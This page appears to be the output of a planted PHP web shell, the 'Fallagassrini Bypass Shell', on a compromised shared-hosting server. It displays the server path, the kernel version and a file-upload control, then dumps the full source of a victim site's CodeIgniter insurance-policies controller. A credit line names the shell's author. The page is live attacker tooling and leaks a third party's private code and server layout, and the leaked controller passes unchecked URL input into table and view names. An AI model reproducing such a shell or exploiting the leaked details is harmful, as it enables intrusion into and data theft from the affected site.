? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/controllers/policies.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<?php

class Policies extends BaseController {

	function Policies()
	{
		parent::BaseController();
                $this->load->model('mastermodel');
                $this->load->model('settingsmodel');
		$this->load->model('documentsmodel');
                $this->load->model('customermodel');
                $this->load->model('policiesmodel');
                $this->load->model('accountingsmodel');
                $this->load->library('Fpaginate');
                 $this->load->helper('url');
                 $this->load->model('hrmodel');
                
	}

	function index($menuid="",$modid="")
	{       if(empty($modid))
                {
		$data['modname']='Home';
                }
                else
                {
                $mod_id=$this->mastermodel->get_data('modules',$modid,'module_id','sort');
                foreach($mod_id as $id)
                {
                 $modname=$id['module_name'];
                }
                 $data['modname']=$modname;
                }
                if(empty ($menuid))
                {
                    $tart='index';
                     $data['menuname']='';
                }
                else
                {
                $tar=$this->mastermodel->get_data('menu',$menuid,'menu_id');

                foreach($tar as $target)
                {
                $tart=$target['target'];

                $data['menuname']=$target['caption'];


                }

                }

                $data['modules']=$this->settingsmodel->buildModule();
                $data['menus']=$this->settingsmodel->buildMenu($modid);



                $this->load->view(''.$data['modname'].'/'.$tart.'',$data);
	}


    function viewtemplate($cover_id,$template_type_id)
    {
       $data['viewinfo']=$this->documentsmodel->viewtemplate($cover_id,$template_type_id);
       $this->load->view('Policies/viewtemplate',$data);
    }
        function view($type="")
        {
            if($type=='ajax')
            {
                $this->load->view('refinesearch');
            }
        }

        function ajaxload($page,$table,$pagenum="",$selectsearch="",$search="")
        {


             $data['nooflist']='4';
            $data['perpage']='10';
            $data['pagenum']=$pagenum;
            

            if($data['pagenum']==1 ||$data['pagenum']=="")
             $data['id']=1;
            else
              $data['id']= (($data['pagenum']-1)*$data['perpage'])+1;
             if($search == "")
            {
              $data['property']='view';
              $data['count']=$this->mastermodel->count_all(''.$table.'');
              $data['pages']= ceil($data['count']/$data['perpage']);
              $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
              $data['startpage']=$arr[0];
	      $data['endpage']=$arr[1];
              $data['viewinfo']=$this->mastermodel->view(''.$table.'',$data['pagenum'],$data['perpage']);

              $data['searchinfo']= "";
              $data['searchtxt']= "";
                      $data['searchoption']= "";
            }
            else
              {
                
                  $search=str_replace("~"," ",$search);
                       $search=str_replace("_","/",$search);
                      $data['searchoption']=$selectsearch;
                        if($selectsearch == 'date')
                          {
                          $qdate=$this->mastermodel->convdatformat($search);
                          $search=$qdate;

                      }
                      $data['searchtxt']=$search;
                    $data['property']='search';
                    $data['count']=$this->policiesmodel->get_data_search($table,$search,$selectsearch);
            $data['pages']= ceil($data['count']/$data['perpage']);
              $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
               $data['startpage']=$arr[0];
	      $data['endpage']=$arr[1];
                    $data['selectsearch'] = $selectsearch;
                    $data['search'] = $search;
                    $data['searchinfo']=$this->policiesmodel->get_data_search($table,$search,$selectsearch,$data['pagenum'],$data['perpage']);
                     $data['viewinfo']= "";
            }
             $data['action']='add';
             $data['norecords']=$this->policiesmodel->norecords(''.$table.'');
             $data['directory']=$this->mastermodel->getdatas('directory');
             $data['methods']=$this->mastermodel->getdatas('payment_methods');
             $this->load->view('Policies/'.$page.'',$data);

        }


        function ajaxloadnew($page,$table,$pagenum="",$selectsearch="",$search="")
        {



             $data['nooflist']='4';
            $data['perpage']='10';
            $data['pagenum']=$pagenum;
            $_SESSION['pagenum']=$pagenum;
            $_SESSION['searchoption']=$selectsearch;
            $_SESSION['searchtxt']=$search;

            if($data['pagenum']==1 ||$data['pagenum']=="")
             $data['id']=1;
            else
              $data['id']= (($data['pagenum']-1)*$data['perpage'])+1;
             if($search == "")
            {
              $data['property']='view';
              $data['count']=$this->mastermodel->count_alldata(''.$table.'');
              $data['pages']= ceil($data['count']/$data['perpage']);
              $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
              $data['startpage']=$arr[0];
	      $data['endpage']=$arr[1];
              $data['viewinfo']=$this->mastermodel->viewnew(''.$table.'',$data['pagenum'],$data['perpage']);

              $data['searchinfo']= "";
              $data['searchtxt']= "";
                      $data['searchoption']= "";
            }
            else
              {

                  $search=str_replace("~"," ",$search);
                       $search=str_replace("_","/",$search);
                      $data['searchoption']=$selectsearch;
                        if($selectsearch == 'date')
                          {
                          $qdate=$this->mastermodel->convdatformat($search);
                          $search=$qdate;

                      }
                      $data['searchtxt']=$search;
                    $data['property']='search';
                    $data['count']=$this->policiesmodel->get_data_searchnew($table,$search,$selectsearch,'true');
  
            $data['pages']= ceil($data['count']/$data['perpage']);
              $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
               $data['startpage']=$arr[0];
	      $data['endpage']=$arr[1];
                    $data['selectsearch'] = $selectsearch;
                    $data['search'] = $search;
                    $data['searchinfo']=$this->policiesmodel->get_data_searchnew($table,$search,$selectsearch,'false',$data['pagenum'],$data['perpage']);
                     $data['viewinfo']= "";
            }
             $data['action']='add';
             $data['norecords']=$this->policiesmodel->norecords(''.$table.'');
             $data['directory']=$this->mastermodel->getdatas('directory');
             $data['methods']=$this->mastermodel->getdatas('payment_methods');
             $this->load->view('Policies/'.$page.'',$data);

        }

        function addrenewal()
        {
        $this->load->library('form_validation');
        $this->form_validation->set_rules('policyid','Policy no','required');
        if ($this->form_validation->run() == FALSE )
        {
        redirect('master/index/24/5');
          //$this->index('24', '5');
        }
        else
        {
           
           $res=$this->policiesmodel->insertrenewal();
           redirect('master/index/24/5');
          // $this->index('24', '5');

           if($res==1)
           {
           $this->load->view('Policies/success');

           }


        }
        }

        function addendorsement()
        {
        $this->load->library('form_validation');
        $this->form_validation->set_rules('policyno','Policy no','required');
        if ($this->form_validation->run() == FALSE )
        {
         redirect('master/index/25/5');
        //  $this->index('25', '5');
        }
        else
        {
           
           $res=$this->policiesmodel->insertendorsement();
           redirect('master/index/25/5');
           //$this->index('25', '5');

           if($res==1)
           {
           $this->load->view('Policies/success');

           }


        }
        }

function addcancellation()
        {


           $date=$_POST['date'];
           $pid=$_POST['policyid'];
           $date= $this->mastermodel->convdatformat($date);
           $check=$this->policiesmodel->check_cancel_date($pid,$date);
           if($check==0)
           {
              
               $this->index('26', '5');
                $this->load->view('Policies/checkdate');
           }
           else
           {


        $this->load->library('form_validation');
        $this->form_validation->set_rules('policyno','Policy no','required');
        if ($this->form_validation->run() == FALSE )
        {
            redirect('master/index/26/5');
         // $this->index('26', '5');
        }
        else
        {
           
           $res=$this->policiesmodel->insertcancellation();
           redirect('master/index/26/5');
           //$this->index('26', '5');

           if($res==1)
           {
           $this->load->view('Policies/success');

           }


        }
        }
   }
 function adddeclaration()
	{
	$this->load->library('form_validation');
        
        //$this->form_validation->set_rules('cover','Type Of Cover','required');
        $this->form_validation->set_rules('certificateno','Type Of Cover','required');
        $this->form_validation->set_rules('insured','Type Of Cover','required');
        $this->form_validation->set_rules('quotation_ref','Type Of Cover','required');

         if ($this->form_validation->run() == FALSE )
        {

            
             redirect('master/index/27/5');
          // $this->index('27', '5');
        }
        else
        {
	
          $res= $this->policiesmodel->adddeclaration();
          echo $res;
           //$this->index('21', '4');
        //  redirect('policies/index/27/5');
           
        }	
	}

        function block_duplicates($q_no)
        {
          $q_id= str_replace("~","/",$q_no);
          $test= $this->mastermodel->block_duplicates('policynote','quotation_ref',$q_id);
          echo $test;
        }

        function addpolicynote()
        {
        $this->load->library('form_validation');
        $this->form_validation->set_rules('policyno','Policy no','required');
                    if ($this->form_validation->run() == FALSE )
                    {

                      $this->index('28', '5');
                    }
                    else
                    {
                        $q_no=$_POST['quotation_ref'];
                        

                                        
                                        $res=$this->policiesmodel->insertpolicynote();
                                       
                                        //$this->index('28', '5');

                                        if($res==1)
                                        {
                                        $this->load->view('Policies/success');

                                        }
                                        
                                        redirect('master/index/28/5');

                               
                    }



        }

     function edit($page,$table,$field,$id,$declid="")
        {  
            $data['viewinfo']=$this->mastermodel->get_data($table,$id,$field);
            $data['action']='update';
             $data['directory']=$this->mastermodel->getdatas('directory');
             $data['renewal_files']=$this->mastermodel->get_data('renewal_files',$id,'renewalid');
             $data['endorsement_files']=$this->mastermodel->get_data('endorsement_files',$id,'endorsementid');
             $data['cancellation_files']=$this->mastermodel->get_data('cancellation_files',$id,'cancellationid');
            
                 $data['id']=$id;
                 $data['declid']=$declid;
		$data['methods']=$this->mastermodel->getdatas('payment_methods');
            $this->load->view('Policies/'.$page.'',$data);
        }

         function editpolicynote()
        {

			
           $res = $this->policiesmodel->updatepolicynote('policynote');
           redirect('master/index/28/5');
          // $this->index('28', '5');
           if($res==1)
           {
           $this->load->view('Policies/success');

           }

        }
        function editrenewal()
        {

			
           $res = $this->policiesmodel->updaterenewal('renewal');
           redirect('master/index/24/5');
           //$this->index('24', '5');
           if($res==1)
           {
           $this->load->view('Policies/success');

           }

        }
        function editendorsement()
        {

			
           $res = $this->policiesmodel->updateendorsement('endorsement');
           redirect('master/index/25/5');
          // $this->index('25', '5');
           if($res==1)
           {
           $this->load->view('Policies/success');

           }

        }
         function editcancellation()
        {


           $date=$_POST['date'];
           $pid=$_POST['policyid'];
           $date= $this->mastermodel->convdatformat($date);
           $check=$this->policiesmodel->check_cancel_date($pid,$date);
           if($check==0)
           {
              
                $this->index('26', '5');
                $this->load->view('Policies/checkdate');
           }
           else
           {

            
           $res = $this->policiesmodel->updatecancellation('cancellation');
           redirect('master/index/26/5');
           //$this->index('26', '5');
               if($res==1)
               {
               $this->load->view('Policies/success');

               }
           }

        }
        function editdeclaration()
        {
            $this->load->library('form_validation');

        //$this->form_validation->set_rules('cover','Type Of Cover','required');
        //$this->form_validation->set_rules('business','Type Of Cover','required');
        $this->form_validation->set_rules('insured','Type Of Cover','required');
        $this->form_validation->set_rules('quotation_ref','Type Of Cover','required');

         if ($this->form_validation->run() == FALSE )
        {
            redirect('master/index/27/5');
           //$this->index('27', '5');
        }
        else
        {

           
           $res = $this->policiesmodel->updatedeclaration();
           echo $res;
        }

        }
        function delete($table,$id,$menu)
        {




        $data=$this->mastermodel->check_permissions(2);
        if(!$data)
        {

            $this->index($menu, '5');
            $this->load->view('Master/nopermission');
        }
        else
        {


            try
               {
                $res=$this->mastermodel->deletedata($table,$id);;

                if($res!=1)
                {
                throw new Exception("Error");
                }
                 $this->index($menu, '5');
               }

               catch(Exception $exception)
               {

                $this->index($menu, '5');
               $this->load->view('Master/checkexist');

               }
        
        }
    }


   
    function listsearchquot($field="",$criteria="")
    {
        $data['viewinfo']=$this->policiesmodel->quotationlist($field,$criteria);
    	$this->load->view('Policies/loadquotlist',$data);
    }
    function listsearchpoli($field="",$criteria="")
    {
        $criteria=str_replace("~"," ",$criteria);
        $criteria=str_replace("_","/",$criteria);
        $data['viewinfo']=$this->policiesmodel->policylist($field,$criteria);
    	$this->load->view('Policies/loadpolilist',$data);
    }
  
    
    function listsearchpolicyno($field="",$criteria="")
    {
         $criteria=str_replace("~"," ",$criteria);
        $criteria=str_replace("_","/",$criteria);
        $data['viewinfo']=$this->policiesmodel->policylistdec($field,$criteria);
    	$this->load->view('Policies/loadpolicydeclaration',$data);
    }
    

    function single($page,$table,$field,$filetable,$filefield,$id)
        {
         
            $data['viewinfo']=$this->mastermodel->get_data($table,$id,$field);
            $data['id']=$id;
            $data['tablename']=$filetable;
            $data['fieldname']=$filefield;
                     
            $this->load->view('Policies/'.$page.'',$data);
        }
	
	function viewquotationdeclaration($page,$field,$id)
        {
            $data['declaration']=$this->mastermodel->get_data_srow('declaration',$id,$field);
            $data['declaration_form']=$this->mastermodel->get_data('declaration_form',$id,'declaration_id');
            $data['declaration_sum_insured']=$this->mastermodel->get_data('declaration_sum_insured',$id,'declaration_id');
            $data['declaration_section']=$this->mastermodel->get_data('declaration_section',$id,'declaration_id');
	    $data['declaration_premiumdetails']=$this->mastermodel->get_data_srow('declaration_premiumdetails',$id,'declaration_id');
            $data['declaration_mofconveyance']=$this->mastermodel->get_data('declaration_mofconveyance',$id,'declaration_id');
	    $data['declaration_voyage']=$this->mastermodel->get_data('declaration_voyage',$id,'declaration_id');
	    $data['declaration_project_period']=$this->mastermodel->get_data_srow('declaration_project_period',$id,'declaration_id');
	    $data['action']='view';
            $data['id']=$id;
            $data['tablename']='declaration_files';
            $data['fieldname']='declaration_id';
            

            $this->load->view('Policies/'.$page.'',$data);
        }
	
	function showstatus($page,$id)
	{
	    $data['id']=$id;
            $this->load->view('Policies/'.$page.'',$data);
	}
	function editstatus($page,$table,$field,$id,$brid="")
	 {
		
            $data['viewstatus']=$this->mastermodel->get_data($table,$id,$field);
          
            //$data['action']='update';
	    if(!empty($brid))
	    {
            $data['id']=$brid;
	    }
	    else
	    {
		$data['id']=$id;
	    }
	    $data['lis']=$id;
            $this->load->view('Policies/'.$page.'',$data);
	 }
	 function savestatus()
	{ 
	  $this->policiesmodel->updatedeclstatus();	
	}
	function updatedeclarationstatus()
    {
	$this->policiesmodel->updatedeclarationstatus();
    }
    
    function insertdeclstatus()
	{
		$this->policiesmodel->insertdeclstatus();
	}

        function pdfquotationdeclaration($page,$field,$id)
        {
            $this->load->plugin('to_pdf');
            //$this->load->helper('pdf');

            //prep_pdf();
            $data['declaration']=$this->mastermodel->get_data_srow('declaration',$id,$field);
            $data['declaration_form']=$this->mastermodel->get_data('declaration_form',$id,'declaration_id');
            $data['declaration_sum_insured']=$this->mastermodel->get_data('declaration_sum_insured',$id,'declaration_id');
            $data['declaration_section']=$this->mastermodel->get_data('declaration_section',$id,'declaration_id');
	    $data['declaration_premiumdetails']=$this->mastermodel->get_data_srow('declaration_premiumdetails',$id,'declaration_id');
            $data['declaration_mofconveyance']=$this->mastermodel->get_data('declaration_mofconveyance',$id,'declaration_id');
	    $data['declaration_voyage']=$this->mastermodel->get_data('declaration_voyage',$id,'declaration_id');
	    $data['declaration_project_period']=$this->mastermodel->get_data_srow('declaration_project_period',$id,'declaration_id');
	    $data['action']='pdf';
            $data['id']=$id;



            $this->load->view('Policies/'.$page.'',$data);
        }


        function cancel_policy()
        {
          $this->policiesmodel->cancel_policy();
        }

        function cancel_count($pid)
        {
          $this->policiesmodel->cancel_count($pid);
        }

        function checkpremium($policyid,$premiumchange)
        {
            $actpremium=$this->policiesmodel->checkpremium($policyid);
            if($premiumchange>$actpremium)
            {
                echo 1;
            }
            else
            {
                echo 0;
            }
        }
        function check_cancel_date($pid,$date)
        {
            $date= $this->mastermodel->convdatformat($date);
           echo $this->policiesmodel->check_cancel_date($pid,$date);
          
            
        }

         function payment($page,$plid,$endid)
    {

            $data['viewinfo']=$this->policiesmodel->getendorsementpayment($endid,$plid);
       
	   
            
            $data['placingid']=$plid;
            $data['endid']=$endid;
            $this->load->view('Policies/'.$page.'',$data);
    }

    function paymentcancelation($page,$plid,$cancid)
    {
        $data['viewinfo']=$this->policiesmodel->getcancellationpayment($cancid,$plid);



            $data['placingid']=$plid;
            $data['cancid']=$cancid;
            $this->load->view('Policies/'.$page.'',$data);
    }

    function addendpolicy($endid)
    {
      $data['endid']=$endid;
      $this->load->view('Policies/addendpolicy',$data);
    }

    function addendpolicyno()
    {
       $res=$this->policiesmodel->addendpolicyno();
       if($res>=1)
       {
           echo "Endorsement  Policy No Added";
       }
       else
       {
           echo "Error While Adding";
       }
    }

    function adddeclcert($decid)
    {
      $data['decid']=$decid;
      $this->load->view('Policies/adddeclcert',$data);
    }

    function adddeclcertno()
    {
       $res=$this->policiesmodel->adddeclcertno();
       if($res>=1)
       {
           echo "Certificate  No Added";
       }
       else
       {
           echo "Error While Adding";
       }
    }

    function addcanpolicy($endid)
    {
      $data['endid']=$endid;
      $this->load->view('Policies/addcanpolicy',$data);
    }

    function addcanpolicyno()
    {
       $res=$this->policiesmodel->addcanpolicyno();
       if($res>=1)
       {
           echo "Cancellation  Policy No Added";
       }
       else
       {
           echo "Error While Adding";
       }
    }

    function addquickpolicynote($polyid)
    {
      $data['polyid']=$polyid;
      $this->load->view('Policies/addquickpolicynote',$data);
    }

     function addquickpolicynoteno()
    {
       $res=$this->policiesmodel->addquickpolicynoteno();
       if($res>=1)
       {
           echo "Policy No Added";
       }
       else
       {
           echo "Error While Adding";
       }
    }

     function declpayment($page,$table,$field,$id,$premium="")
    {

            $data['viewinfo']=$this->mastermodel->get_data($table,$id,$field);
           
	    //$data['brokerage']=$brokerage;
            $data['action']='payment';
            $data['id']=$id;
            $this->load->view('Policies/'.$page.'',$data);
    }

    function insertdeclarationpayment()
    {

	$this->policiesmodel->insertdeclarationpayment();
	redirect('master/index/27/5');
      
    }

    function viewpaymentdl($page,$table,$field,$id,$premium="")
    {
            $data['viewinfo']=$this->mastermodel->get_data($table,$id,$field);
            $data['methods']=$this->mastermodel->getdatas('payment_methods');
	    //$data['brokerage']=$brokerage;
            $data['action']='payment';
            $data['id']=$id;
            $this->load->view('Policies/'.$page.'',$data);
    }
    function findpolicybyno($code)
    {
       $code=str_replace("~","/",$code);
       $data=$this->policiesmodel->findpolicybyno($code);
       echo $data;
    }

}

     

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net